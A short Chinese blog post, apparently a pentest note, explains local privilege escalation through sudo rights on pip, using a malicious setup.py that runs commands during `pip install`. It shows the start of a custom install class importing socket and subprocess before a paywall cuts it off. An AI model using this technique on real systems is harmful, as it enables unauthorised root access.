本文探讨了在Linux环境中，如果用户有pip的sudo权限，如何通过构造恶意setup.py文件，在执行`pip install`时触发任意命令执行，从而达到提权获取root权限的目的。
在有些linux机器中，某个用户拥有pip的sudo权限，在这种情况下，可以利用pip install进行本地提权。
在执行pip install时会调用setup.py，可以在本地创建恶意setup.py文件来达到任意命令执行的效果。
from setuptools import setup
from setuptools.command.install import install
import os, socket, subprocess
class CustomInstall(install):
def run(self
最低0.47元/天 解锁文章
扫一扫
1238
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
